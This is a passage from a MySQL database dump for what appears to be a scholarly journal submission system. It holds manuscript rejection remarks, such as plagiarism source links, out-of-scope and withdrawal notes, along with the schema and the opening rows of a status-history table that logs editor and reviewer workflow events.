Exists\r\nhttps://pubmed.ncbi.nlm.nih.gov/35572363/','2022-05-31'),(2240,12802,2,'','','2022-06-01'),(2241,12801,2,'','','2022-06-01'),(2242,12806,2,'','No File','2022-06-01'),(2243,12805,2,'','No File','2022-06-01'),(2244,12810,2,NULL,'author submitted image','2022-06-03'),(2245,12808,2,NULL,'author submitted wrong file','2022-06-03'),(2246,12799,2,NULL,'Withdrawn','2022-06-03'),(2247,12816,2,'','No File','2022-06-14'),(2250,12363,2,NULL,'https://www.ijsurgery.com/index.php/isj/article/view/8606','2022-06-29'),(2251,11574,2,NULL,'Already Published','2022-06-29'),(2252,12839,2,NULL,'Attachment Missing','2022-07-05'),(2253,12857,2,'','Repeated','2022-07-15'),(2254,12849,2,'','','2022-07-18'),(2255,12854,2,'','No Text In Manuscript','2022-07-18'),(2256,12864,2,'','Empty File','2022-07-19'),(2257,12846,2,'','','2022-07-20'),(2258,12847,2,'','','2022-07-20'),(2259,12855,2,'','','2022-07-20'),(2260,12866,2,'','Duplicate Submission','2022-07-21'),(2261,12866,2,NULL,'author want to resubmit with modification of file.','2022-07-27'),(2263,12896,2,'','','2022-08-02'),(2264,12893,1,'62837-plagrism.pdf','Https://pssjournal.biomedcentral.com/articles/10.1186/1754-9493-4-5','2022-08-03'),(2265,12894,1,'62838-plagrism.pdf','Https://medcraveonline.com/JBMOA/pharmacokinetic-and-molecular-docking-studies-of-achyranthes-aspera-phytocompounds-to-exploring-potential-anti-tuberculosis-activity.html','2022-08-03'),(2266,12891,2,NULL,'withdraw','2022-08-12'),(2267,12891,2,NULL,'withdraw','2022-08-12'),(2268,12891,2,NULL,'withdraw','2022-08-12'),(2269,12890,2,NULL,'withdrawn','2022-08-12'),(2270,12889,2,NULL,'withdrawn','2022-08-12'),(2271,12888,2,NULL,'withdrawn','2022-08-12'),(2272,12886,2,NULL,'Withdrawn','2022-08-12'),(2273,12915,2,'','Out Of Scope','2022-08-16'),(2274,12903,1,'63974-plagrism.pdf','Https://www.mdpi.com/1422-0067/10/2/702/htm','2022-08-16'),(2275,12902,1,'63976-plagrism.pdf','Https://www.mdpi.com/1422-0067/10/2/674/htm','2022-08-16'),(2276,12909,1,'63977-plagrism.pdf','Https://www.cureus.com/articles/42153-operative-treatment-of-ankle-fractures-predictive-factors-affecting-outcome','2022-08-16'),(2277,12809,2,NULL,'Not reflecting in database','2022-08-16'),(2278,12864,2,NULL,'article type doesnt exist','2022-08-17'),(2279,12928,1,'64224-plagrism.pdf','Https://www.cureus.com/articles/42153-operative-treatment-of-ankle-fractures-predictive-factors-affecting-outcome','2022-08-18'),(2280,12927,1,'64227-plagrism.pdf','Https://www.itmedicalteam.pl/articles/appendectomy-and-laparoscopic-appendectomy.pdf','2022-08-18'),(2281,12931,2,'','Out Of Scope','2022-08-19'),(2282,12943,2,'','Out Of Scope','2022-08-20'),(2283,12937,1,'64520-plagrism.pdf','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8851565/','2022-08-20'),(2284,12945,1,'64522-plagrism.pdf','Https://www.hindawi.com/journals/ijps/2014/829474/','2022-08-20'),(2285,12952,1,'64525-plagrism.pdf','Https://www.itmedicalteam.pl/articles/minimally-invasive-surgeries-using-a-tubular-retractor.pdf','2022-08-20'),(2286,12942,1,'64669-plagrism.pdf','Https://www.scitechnol.com/download.php?download=peer-review-pdfs/examination-of-posttraumatic-stress-disorder-in-military-faculty-Otsf.pdf','2022-08-22'),(2287,12957,2,'','Out Of Scope','2022-08-23'),(2288,12959,2,'','Dd','2022-08-23'),(2289,12962,1,'64818-plagrism.pdf','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8851565/','2022-08-23'),(2290,12961,1,'64824-plagrism.pdf','Https://www.sciencedirect.com/topics/agricultural-and-biological-sciences/freshwater-aquaculture','2022-08-23'),(2291,12963,1,'64837-plagrism.pdf','Https://www.scirp.org/journal/PaperInformation.aspx?PaperID=90305','2022-08-23'),(2292,12969,2,NULL,'Withdrawn','2022-08-23'),(2293,12969,2,NULL,'Withdrawn','2022-08-23'),(2294,12969,2,NULL,'Withdrawn','2022-08-23'),(2295,12969,2,NULL,'Withdrawn','2022-08-23'),(2296,12971,2,'','','2022-08-24'),(2297,12931,0,NULL,'ADDED AS DUPLICATE','2022-08-27'),(2298,12976,1,'65536-plagrism.pdf','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8851565/','2022-08-27'),(2299,12966,1,'65537-plagrism.pdf','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4837021/','2022-08-27'),(2300,12967,1,'65538-plagrism.pdf','Https://bmcgenomics.biomedcentral.com/articles/10.1186/s12864-017-3557-1','2022-08-27'),(2301,12999,2,'','Only Abstract Present','2022-08-29'),(2302,12996,2,'','','2022-08-29'),(2303,12980,2,'','File Missing -1kb Error','2022-08-30'),(2304,12992,1,'65854-plagrism.pdf','Https://gs.amegroups.com/article/download/19032/19061','2022-08-30'),(2305,13009,2,'','Repeated','2022-08-30'),(2306,13039,2,'','No Word Document','2022-09-08'),(2307,13050,1,'67065-plagrism.pdf','Https://bmcgenomics.biomedcentral.com/articles/10.1186/s12864-017-3557-1','2022-09-12'),(2308,13056,1,'67066-plagrism.pdf','Https://www.mdpi.com/2076-2615/11/1/125/htm','2022-09-12'),(2309,13055,1,'67067-plagrism.pdf','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC164219/','2022-09-12'),(2310,13064,0,'67348-plagrism.pdf','Https://www.nature.com/articles/nrdp201783','2022-09-15'),(2311,12727,0,NULL,'Author want sci indexing do not want to publish','2022-09-20'),(2312,12684,0,NULL,'Author want sci indexing do not want to publish','2022-09-20'),(2313,12684,0,NULL,'Author want sci indexing do not want to publish','2022-09-20'),(2314,12672,0,NULL,'Author want sci indexing do not want to publish','2022-09-20'),(2315,13115,0,'69970-plagrism.pdf','Https://arthritis-research.biomedcentral.com/counter/pdf/10.1186/ar2069.pdf','2022-10-12'),(2316,13110,0,'','No Text Inside The Document','2022-10-12'),(2317,13118,0,'70115-plagrism.pdf','Https://www.frontiersin.org/articles/10.3389/fneur.2022.992107/full?amp;amp','2022-10-13'),(2318,13122,0,'','Out Of Scope','2022-10-19'),(2319,13138,2,'','Already Published \r\nhttps://www.itmedicalteam.pl/articles/laparoscopic-surgery-types-of-laparoscopic-and-treatment.pdf','2022-10-29'),(2320,13136,1,'72069-plagrism.pdf','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7149789/','2022-10-29'),(2321,13148,1,'72407-plagrism.pdf','Https://www.mdpi.com/2073-4425/7/1/1/htm','2022-11-01'),(2322,13118,1,'2322-plagrism.pdf','Https://www.frontiersin.org/articles/10.3389/fneur.2022.992107/full?amp;amp','2022-11-04'),(2323,13129,2,NULL,'rrr','2022-11-10'),(2324,13129,2,NULL,'rrr','2022-11-10'),(2325,13129,2,NULL,'rrr','2022-11-10'),(2326,13129,2,NULL,'rrr','2022-11-10'),(2327,13129,2,NULL,'rrr','2022-11-10'),(2328,13129,2,NULL,'rrr','2022-11-10'),(2329,13129,2,NULL,'remove','2022-11-10'),(2330,13129,2,NULL,'rrr','2022-11-10'),(2331,13129,2,NULL,'remove','2022-11-10'),(2332,13161,2,'2332-plagrism.pdf','No file found','2022-11-10'),(2333,13170,2,'','','2022-11-18'),(2334,13172,1,'76475-plagrism.pdf','Https://www.mdpi.com/1999-4923/14/11/2404/html','2022-11-21'),(2335,13172,1,'76476-plagrism.pdf','Https://www.mdpi.com/1999-4923/14/11/2404/html','2022-11-21'),(2336,13172,1,'76477-plagrism.pdf','Https://www.mdpi.com/1999-4923/14/11/2404/html','2022-11-21'),(2337,13172,2,'','Https://www.mdpi.com/1999-4923/14/11/2404/html','2022-11-23'),(2338,13172,2,'','Https://www.mdpi.com/1999-4923/14/11/2404/html','2022-11-23'),(2339,13172,2,'','Https://www.mdpi.com/1999-4923/14/11/2404/html','2022-11-23'),(2341,13191,2,'','','2022-11-25'),(2342,13197,2,'','Out Of Scope','2022-11-25'),(2343,13172,2,'','Https://www.mdpi.com/1999-4923/14/11/2404/html','2022-11-28'),(2344,13172,2,'','Https://www.mdpi.com/1999-4923/14/11/2404/html','2022-11-29'),(2345,13219,1,'2345-plagrism.pdf','rgfhj','2022-11-30'),(2346,13225,2,'','Out Of Scope','2022-12-02'),(2347,13227,2,'','Awsdadasd','2022-12-02'),(2348,13226,2,'','Sadasd','2022-12-02'),(2349,13242,2,'','Ascv','2022-12-03'),(2350,13239,2,'','Wdwadawd','2022-12-05'),(2351,13241,2,'','Wdwadawd','2022-12-05'),(2352,13238,2,'','Esfesfse','2022-12-05'),(2353,13240,2,'','','2022-12-05'),(2354,13231,2,'','No File','2022-12-05'),(2355,13237,2,'','Sacsac','2022-12-05'),(2356,13234,2,'','Vvadfasf','2022-12-05'),(2357,13233,2,'','Really','2022-12-05'),(2358,13230,2,'','AsSAF','2022-12-05'),(2359,13236,2,'','Cscasc','2022-12-05'),(2360,13235,2,'','Asa','2022-12-05'),(2361,13232,2,'','Dfafsf','2022-12-05'),(2362,13245,2,'','','2022-12-06'),(2363,12975,2,'2363-plagrism.docx','Plagiarism','2022-12-08'),(2364,13277,2,'2364-plagrism.pdf','Submitted to other journal','2022-12-13'),(2365,13277,2,'2365-plagrism.pdf','Submitted to other journal','2022-12-13'),(2366,13265,2,'','Not Announcement','2022-12-14'),(2367,13269,2,'','Https://www.thelancet.com/journals/lanwpc/article/PIIS2666-6065(22)00143-2/fulltext','2022-12-15'),(2368,13297,2,'','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8377537/','2022-12-15'),(2369,13283,2,'','Https://pubmed.ncbi.nlm.nih.gov/26492185/','2022-12-15'),(2370,13316,2,'','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7395587/','2022-12-15'),(2371,13314,2,'','Https://www.mdpi.com/1422-0067/23/24/15893/htm','2022-12-16'),(2372,13310,2,'','Not Within Clinical Microbiology','2022-12-16'),(2373,13306,2,'','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5853598/','2022-12-16'),(2374,13328,2,'','Https://www.sciencedirect.com/science/article/pii/S2214109X22001206','2022-12-17'),(2375,13327,2,'','Https://www.sciencedirect.com/science/article/pii/S2666606522001432','2022-12-17'),(2376,13330,2,'','No Plag But Not Within Clinical Science\r\nSuggested: Communications Engineering Technology','2022-12-17'),(2377,13344,1,'2377-plagrism.pdf','Plagiarized','2022-12-20'),(2378,13346,1,'84481-plagrism.pdf','Https://www.mdpi.com/2221-3759/10/4/54/html','2022-12-23'),(2379,13355,2,'','Sdv','2022-12-30'),(2380,13383,1,'88038-plagrism.pdf','Https://advances.umw.edu.pl/pdf/2018/27/5/725.pdf','2023-01-12'),(2381,13381,1,'88039-plagrism.pdf','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6636541/','2023-01-12'),(2382,13385,1,'88040-plagrism.pdf','Https://jeccr.biomedcentral.com/articles/10.1186/s13046-019-1362-1','2023-01-12'),(2383,13393,1,'88041-plagrism.pdf','Https://www.mdpi.com/2304-8158/12/2/291/htm','2023-01-12'),(2384,13394,1,'88042-plagrism.pdf','Https://www.mdpi.com/1660-3397/21/1/44/html','2023-01-12'),(2389,13405,1,'88517-plagrism.pdf','Https://www.mdpi.com/1718-7729/30/1/12/htm','2023-01-18'),(2390,13426,1,'89059-plagrism.pdf','Https://www.mdpi.com/2072-6651/15/1/58','2023-01-21'),(2391,13425,1,'89060-plagrism.pdf','Https://www.mdpi.com/1420-3049/28/2/591/htm','2023-01-21'),(2392,13437,1,'89365-plagrism.pdf','Https://academic.oup.com/brain/article/134/2/449/402172','2023-01-23'),(2393,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2394,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2395,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2396,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2397,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2398,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2399,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2400,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2401,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2402,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2403,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2404,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2405,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2406,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2407,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2408,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2409,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2410,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2411,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2412,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2413,13329,2,NULL,'Please withdraw to this article','2023-01-23'),(2414,13443,1,'89846-plagrism.pdf','Https://www.mdpi.com/1420-3049/28/2/591/xml','2023-01-25'),(2415,13450,1,'90573-plagrism.pdf','Https://www.mdpi.com/2073-4409/12/3/355','2023-01-30'),(2416,13499,2,'','Out Of Scope','2023-02-16'),(2417,12763,2,'','','2023-02-17'),(2418,13294,2,'','Out Of Scope','2023-02-17'),(2419,13506,2,'','','2023-02-20'),(2421,13522,2,'','','2023-02-27'),(2422,13523,2,'','','2023-02-28'),(2423,13524,2,'','Asuasw','2023-02-28'),(2424,13527,1,'95865-plagrism.pdf','Https://www.thelancet.com/journals/lancet/article/PIIS0140-6736(20)31142-9/fulltext','2023-03-04'),(2429,13543,2,'','Check Title','2023-03-09'),(2430,13542,2,'','NO File','2023-03-09'),(2433,13549,2,'','Out Of Scope','2023-03-13'),(2435,13566,1,'97269-plagrism.pdf','Https://www.mdpi.com/2079-6382/12/3/557','2023-03-15'),(2436,13462,0,NULL,'Withdrawn the article as per the author request.','2023-03-15'),(2437,13590,1,'97681-plagrism.pdf','Https://www.mdpi.com/2071-1050/14/1/318','2023-03-17'),(2438,13605,1,'98827-plagrism.pdf','Https://www.oarsijournal.com/article/S1063-4584(15)01217-0/fulltext','2023-03-25'),(2439,13614,2,'','No File','2023-03-28'),(2440,13632,1,'101248-plagrism.pdf','Https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2815503/','2023-04-06'),(2441,13702,1,'104398-plagrism.pdf','Https://ard.bmj.com/content/annrheumdis/61/suppl_3/iii8.full.pdf','2023-04-21'),(2442,13712,2,'','Out Of Scope','2023-04-24'),(2443,13711,2,'','Out Of Scope','2023-04-24'),(2444,13725,1,'105074-plagrism.pdf','Mailed You The Plagiarized Report','2023-04-25'),(2447,13748,1,'108385-plagrism.pdf','Https://www.mdpi.com/2072-6694/13/18/4705','2023-05-08'),(2448,13758,2,'','Out Of Scope','2023-05-11'),(2449,13766,2,NULL,'aqzsfudjxf','2023-05-17'),(2450,13748,2,NULL,'out of scope','2023-05-20'),(2451,13748,2,NULL,'out of scope','2023-05-20'),(2452,13772,2,'','','2023-05-22'),(2453,13775,2,'','Out Of Scope','2023-05-23'),(2454,13784,2,NULL,'Wrong uploaded','2023-05-25'),(2455,13788,2,NULL,'Uploaded two times.','2023-05-31'),(2457,13794,2,'','','2023-06-05'),(2458,13811,2,'','Out Of Scope','2023-06-14'),(2459,13818,2,'','Out Of Scope','2023-06-15'),(2466,13836,2,'','Out Of Scope','2023-06-21'),(2469,13874,2,'','Out Of Scope','2023-06-27'),(2471,13879,2,'','Out Of Scope','2023-06-29'),(2473,13891,2,'','Out Of Scope','2023-07-03'),(2474,13897,2,NULL,'no file','2023-07-04'),(2475,13900,1,'2475-plagrism.docx','plagiarism','2023-07-11'),(2478,13874,1,'2478-plagrism.pdf','withdrawn the article','2023-07-31'),(2479,13989,2,NULL,'Spamming','2023-08-02'),(2480,13992,2,NULL,'missing manuscript file','2023-08-03'),(2483,13900,2,'','Empty Document','2023-08-25'),(2485,14054,2,'','Out Of Scope','2023-09-04'),(2486,14048,2,'','OUT OF SCOPE','2023-09-04'),(2487,14060,2,'','Out Of Scope','2023-09-05'),(2488,14063,2,'','Out Of Scope','2023-09-08'),(2489,14075,2,'','Out Of Scope','2023-09-21'),(2490,14078,2,'','Out Of Scope','2023-09-21'),(2491,14063,2,NULL,'.','2023-10-09'),(2492,14130,2,'','Out Of Scope','2023-11-02'),(2493,14129,2,'','Out Of Scope','2023-11-02'),(2494,14133,2,'','Out Of Scope','2023-11-02'),(2495,14224,2,'','Out Of Scope','2023-11-02'),(2496,14236,2,'','Out Of Scope','2023-11-02'),(2497,14237,2,'','Out Of Scope','2023-11-02'),(2498,14243,2,'','Out Of Scope','2023-11-03'),(2499,14244,0,NULL,'Q1 Completed','2023-12-05'),(2500,14344,2,'','This Article Was Already Accepted On Nov 2nd In The Below Journal\r\n Imaging In Interventional Radiology  (ipjiir)\r\n  Prime Scholars','2023-12-06'),(2501,14360,2,'','Duplicate Submission','2023-12-13'),(2502,14366,2,'','Inappropriate Submission','2023-12-16'),(2503,14381,2,'','Inappropriate Submission','2023-12-19'),(2504,14383,2,'','Inappropriate Submission','2023-12-19'),(2505,14382,2,'','Inappropriate Submission','2023-12-19'),(2506,14384,2,NULL,'Manuscript file missing','2023-12-27'),(2507,14381,2,NULL,'Technical glitch...\r\nNeed to upload once again.','2023-12-27'),(2508,14382,2,NULL,'author want to submit updated file','2023-12-28'),(2509,14386,2,'','No File','2023-12-30'),(2510,14386,2,'','No File','2023-12-30'),(2511,14386,2,NULL,'author missing manuscripts','2024-01-01'),(2512,14402,2,'','Out Of Scope','2024-01-04'),(2513,14338,2,'','Inappropriate Submission','2024-01-05'),(2514,14388,2,'','Inappropriate Submission','2024-01-05'),(2515,14387,2,'','Inappropriate Submission','2024-01-05'),(2516,14406,2,'','Veterinary Wont Come Under This Journal, Out Of Scope','2024-01-12'),(2517,14513,2,'','Inappropriate Content','2024-01-22'),(2518,14518,2,'','Inappropriate Content','2024-01-22'),(2519,14517,2,'','Inappropriate Content','2024-01-22'),(2520,14516,2,'','Inappropriate Content','2024-01-22'),(2521,14515,2,'','Inappropriate Content','2024-01-22'),(2522,14514,2,'','Inappropriate Content','2024-01-22'),(2524,14519,2,'','Inappropriate Content','2024-01-22'),(2525,14537,2,'','Inappropriate Submission','2024-01-29'),(2526,14530,2,'','Inappropriate Submission','2024-01-29'),(2527,14536,2,'','Inappropriate Submission','2024-01-29'),(2528,14535,2,'','Inappropriate Submission','2024-01-29'),(2529,14534,2,'','Inappropriate Submission','2024-01-29'),(2530,14533,2,'','Inappropriate Submission','2024-01-29'),(2531,14532,2,'','Inappropriate Submission','2024-01-29'),(2532,14531,2,'','Inappropriate Submission','2024-01-29'),(2533,14539,2,'','Inappropriate Submission','2024-01-29'),(2534,14538,2,'','Inappropriate Submission','2024-01-29'),(2535,14390,2,'','Out Of Scope','2024-02-08'),(2536,14396,2,'','Out Of Scope','2024-02-08'),(2537,14395,2,'','Out Of Scope','2024-02-08'),(2538,14394,2,'','Out Of Scope','2024-02-08'),(2539,14393,2,'','Out Of Scope','2024-02-08'),(2540,14392,2,'','Out Of Scope','2024-02-08'),(2541,14397,2,'','Out Of Scope','2024-02-08'),(2542,14416,2,'','Duplicate Submission','2024-02-08'),(2553,14578,2,'','Out Of Scope','2024-02-15'),(2554,14573,2,'','Out Of Scope','2024-02-15'),(2555,14596,2,'','Out Of Scope','2024-03-02'),(2556,14598,2,'','Out Of Scope','2024-03-02'),(2557,14601,2,'','Out Of Scope','2024-03-02'),(2558,14608,2,'','File Is Not Downloading','2024-03-02'),(2559,14607,2,'','File Is Not Downloading','2024-03-02'),(2560,14606,2,'','File Is Not Downloading','2024-03-02'),(2561,14590,2,NULL,'Withdrawn','2024-03-04'),(2562,14614,2,NULL,'Withdraw','2024-03-04'),(2563,14710,2,NULL,'others','2024-04-03'),(2564,14735,2,'','Already Published','2024-04-06'),(2565,14739,2,'','Duplicate Submission','2024-04-12'),(2566,14742,1,'161459-plagrism.pdf','74.52% Plagarized Content\r\nhttps://journals.physiology.org/doi/full/10.1152/physrev.00013.2002','2024-04-15');
/*!40000 ALTER TABLE `rw_remarks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `status_history`
--

DROP TABLE IF EXISTS `status_history`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `status_history` (
  `h_id` int NOT NULL AUTO_INCREMENT,
  `h_date` datetime DEFAULT NULL,
  `status` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `m_id` int NOT NULL,
  `operator` varchar(30) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `operator_id` int NOT NULL,
  PRIMARY KEY (`h_id`)
) ENGINE=InnoDB AUTO_INCREMENT=134712 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `status_history`
--

LOCK TABLES `status_history` WRITE;
/*!40000 ALTER TABLE `status_history` DISABLE KEYS */;
INSERT INTO `status_history` VALUES (1547,'2019-07-18 15:27:54','Manuscript Submitted by Publisher',422,'Publisher',48),(1548,'2019-07-18 15:28:11','Publisher has been Assigned Editor',422,'Publisher',48),(1549,'2019-07-18 15:31:47','Manuscript Submitted by Publisher',423,'Publisher',48),(1551,'2019-07-18 15:32:00','Publisher has been Assigned Editor',423,'Publisher',48),(1552,'2019-07-18 15:33:20','Manuscript Submitted by Publisher',425,'Publisher',48),(1553,'2019-07-18 15:33:34','Publisher has been Assigned Editor',425,'Publisher',48),(1555,'2019-07-18 15:52:43','Manuscript Submitted by Publisher',427,'Publisher',48),(1556,'2019-07-18 15:54:08','Manuscript Submitted by Publisher',428,'Publisher',48),(1557,'2019-07-18 15:55:15','Manuscript Submitted by Publisher',429,'Publisher',48),(1558,'2019-07-18 15:57:08','Manuscript Submitted by Publisher',430,'Publisher',48),(1565,'2019-07-18 16:41:39','Publisher has been Assigned Editor',430,'Publisher',49),(1566,'2019-07-18 16:42:39','Publisher has been Assigned Editor',429,'Publisher',48),(1567,'2019-07-18 16:42:47','Publisher has been Assigned Editor',428,'Publisher',48),(1568,'2019-07-18 16:42:56','Publisher has been Assigned Editor',427,'Publisher',48),(1571,'2019-07-18 16:55:05','Publisher has Invited Reviewer',422,'Publisher',48),(1572,'2019-07-18 16:55:06','Publisher has Invited Reviewer',422,'Publisher',48),(1573,'2019-07-18 16:55:07','Publisher has Invited Reviewer',422,'Publisher',48),(1574,'2019-07-18 16:55:08','Publisher has Invited Reviewer',422,'Publisher',48),(1575,'2019-07-18 16:55:10','Publisher has Invited Reviewer',422,'Publisher',48),(1576,'2019-07-18 16:55:11','Publisher has Invited Reviewer',422,'Publisher',48),(1577,'2019-07-18 16:55:12','Publisher has Invited Reviewer',422,'Publisher',48),(1578,'2019-07-18 16:55:13','Publisher has Invited Reviewer',422,'Publisher',48),(1579,'2019-07-18 16:55:14','Publisher has Invited Reviewer',422,'Publisher',48),(1580,'2019-07-18 16:55:15','Publisher has Invited Reviewer',422,'Publisher',48),(1582,'2019-07-18 16:55:16','Publisher has Invited Reviewer',422,'Publisher',48),(1583,'2019-07-18 16:55:17','Publisher has Invited Reviewer',422,'Publisher',48),(1584,'2019-07-18 16:55:18','Publisher has Invited Reviewer',422,'Publisher',48),(1585,'2019-07-18 16:55:19','Publisher has Invited Reviewer',422,'Publisher',48),(1588,'2019-07-18 17:00:20','Publisher has Invited Reviewer',427,'Publisher',48),(1589,'2019-07-18 17:00:21','Publisher has Invited Reviewer',427,'Publisher',48),(1590,'2019-07-18 17:00:22','Publisher has Invited Reviewer',427,'Publisher',48),(1591,'2019-07-18 17:00:23','Publisher has Invited Reviewer',427,'Publisher',48),(1592,'2019-07-18 17:00:24','Publisher has Invited Reviewer',427,'Publisher',48),(1593,'2019-07-18 17:00:25','Publisher has Invited Reviewer',427,'Publisher',48),(1594,'2019-07-18 17:00:26','Publisher has Invited Reviewer',427,'Publisher',48),(1595,'2019-07-18 17:00:27','Publisher has Invited Reviewer',427,'Publisher',48),(1596,'2019-07-18 17:00:28','Publisher has Invited Reviewer',427,'Publisher',48),(1597,'2019-07-18 17:00:29','Publisher has Invited Reviewer',427,'Publisher',48),(1599,'2019-07-18 17:05:33','Publisher has Invited Reviewer',428,'Publisher',48),(1600,'2019-07-18 17:05:34','Publisher has Invited Reviewer',428,'Publisher',48),(1601,'2019-07-18 17:05:36','Publisher has Invited Reviewer',428,'Publisher',48),(1602,'2019-07-18 17:05:37','Publisher has Invited Reviewer',428,'Publisher',48),(1603,'2019-07-18 17:05:38','Publisher has Invited Reviewer',428,'Publisher',48),(1604,'2019-07-18 17:05:39','Publisher has Invited Reviewer',428,'Publisher',48),(1605,'2019-07-18 17:05:39','Publisher has Invited Reviewer',428,'Publisher',48),(1606,'2019-07-18 17:05:40','Publisher has Invited Reviewer',428,'Publisher',48),(1607,'2019-07-18 17:05:41','Publisher has Invited Reviewer',428,'Publisher',48),(1608,'2019-07-18 17:05:42','Publisher has Invited Reviewer',428,'Publisher',48),(1698,'2019-07-19 13:56:06','Manuscript Submitted by Publisher',453,'Publisher',85),(1707,'2019-07-19 14:09:01','Publisher has been Assigned Editor',453,'Publisher',85),(1708,'2019-07-19 14:17:01','Publisher has Invited Reviewer',453,'Publisher',85),(1709,'2019-07-19 14:17:01','Publisher has Invited Reviewer',453,'Publisher',85),(1710,'2019-07-19 14:17:02','Publisher has Invited Reviewer',453,'Publisher',85),(1711,'2019-07-19 14:17:02','Publisher has Invited Reviewer',453,'Publisher',85),(1934,'2019-07-22 17:43:50','Publisher has Invited Reviewer',453,'Publisher',85),(1935,'2019-07-22 17:43:50','Publisher has Invited Reviewer',453,'Publisher',85),(1936,'2019-07-22 17:43:51','Publisher has Invited Reviewer',453,'Publisher',85),(1937,'2019-07-22 17:43:52','Publisher has Invited Reviewer',453,'Publisher',85),(1938,'2019-07-22 17:43:53','Publisher has Invited Reviewer',453,'Publisher',85),(1939,'2019-07-22 17:43:54','Publisher has Invited Reviewer',453,'Publisher',85),(1940,'2019-07-22 17:43:55','Publisher has Invited Reviewer',453,'Publisher',85),(1978,'2019-07-23 10:09:09','Manuscript Submitted by Publisher',548,'Publisher',48),(1987,'2019-07-23 10:13:02','Manuscript Submitted by Publisher',549,'Publisher',48),(1993,'2019-07-23 10:27:16','Publisher has been Assigned Editor',549,'Publisher',48),(1994,'2019-07-23 10:27:25','Publisher has been Assigned Editor',548,'Publisher',48),(1996,'2019-07-23 10:50:41','Editor has Accepted to review Manuscript',548,'Editor',192),(2007,'2019-07-23 13:18:47','Manuscript Submitted by Publisher',555,'Publisher',84),(2009,'2019-07-23 13:34:19','Editor sent Email',548,'Editor',192),(2010,'2019-07-23 13:35:42','Editor has Declined to review Manuscript',427,'Editor',192),(2011,'2019-07-23 13:52:52','Publisher has been Assigned Editor',555,'Publisher',84),(2013,'2019-07-23 13:57:51','Manuscript Submitted by Publisher',557,'Publisher',84),(2014,'2019-07-23 14:04:47','Publisher has been Assigned Editor',557,'Publisher',84),(2050,'2019-07-23 18:38:51','Manuscript Submitted by Author using Submission form',563,'Author',656),(2153,'2019-07-24 14:09:39','Publisher has Invited Reviewer',453,'Publisher',85),(2155,'2019-07-24 14:09:39','Publisher has Invited Reviewer',453,'Publisher',85),(2156,'2019-07-24 14:09:40','Publisher has Invited Reviewer',453,'Publisher',85),(2157,'2019-07-24 14:09:41','Publisher has Invited Reviewer',453,'Publisher',85),(2159,'2019-07-24 14:18:21','Reviewer has been sent email to Publisher',453,'Reviewer',1105),(2169,'2019-07-24 15:00:17','Publisher has Invited Reviewer',453,'Publisher',85),(2189,'2019-07-24 16:52:32','Publisher has Invited Reviewer',453,'Publisher',85),(2190,'2019-07-24 16:52:32','Publisher has Invited Reviewer',453,'Publisher',85),(2273,'2019-07-25 09:59:29','Manuscript Submitted by Author',602,'Author',702),(2319,'2019-07-25 15:40:56','Manuscript Submitted by Publisher',613,'Publisher',75),(2320,'2019-07-25 15:41:09','Publisher has been Assigned Editor',613,'Publisher',75),(2321,'2019-07-25 15:43:20','Publisher has Invited Reviewer',613,'Publisher',75),(2322,'2019-07-25 15:49:01','Publisher : Notified Editor',613,'Publisher',75),(2323,'2019-07-25 15:51:15','Editor has Accepted to review Manuscript',613,'Editor',161),(2324,'2019-07-25 15:51:42','Editor has been Revise article',613,'Editor',161),(2325,'2019-07-25 16:01:18','Publisher : Notified Editor',613,'Publisher',75),(2326,'2019-07-25 16:03:23','Editor has been Editor Decision Accepted article',613,'Editor',161),(2327,'2019-07-25 16:41:09','Publisher has been Assigned Editor',602,'Publisher',75),(2328,'2019-07-25 16:43:59','Publisher has Invited Reviewer',602,'Publisher',75),(2329,'2019-07-25 16:44:00','Publisher has Invited Reviewer',602,'Publisher',75),(2330,'2019-07-25 16:44:01','Publisher has Invited Reviewer',602,'Publisher',75),(2390,'2019-07-26 10:28:21','Publisher has Invited Reviewer',602,'Publisher',75),(2395,'2019-07-26 10:51:26','Manuscript Submitted by Publisher',627,'Publisher',75),(2396,'2019-07-26 10:51:46','Publisher has been Assigned Editor',627,'Publisher',75),(2397,'2019-07-26 10:54:09','Manuscript Submitted by Publisher',628,'Publisher',75),(2398,'2019-07-26 10:54:29','Publisher has been Assigned Editor',628,'Publisher',75),(2401,'2019-07-26 10:56:50','Manuscript Submitted by Publisher',629,'Publisher',75),(2402,'2019-07-26 10:57:02','Publisher has been Assigned Editor',629,'Publisher',75),(2405,'2019-07-26 10:59:09','Manuscript Submitted by Publisher',630,'Publisher',75),(2407,'2019-07-26 11:02:28','Manuscript Submitted by 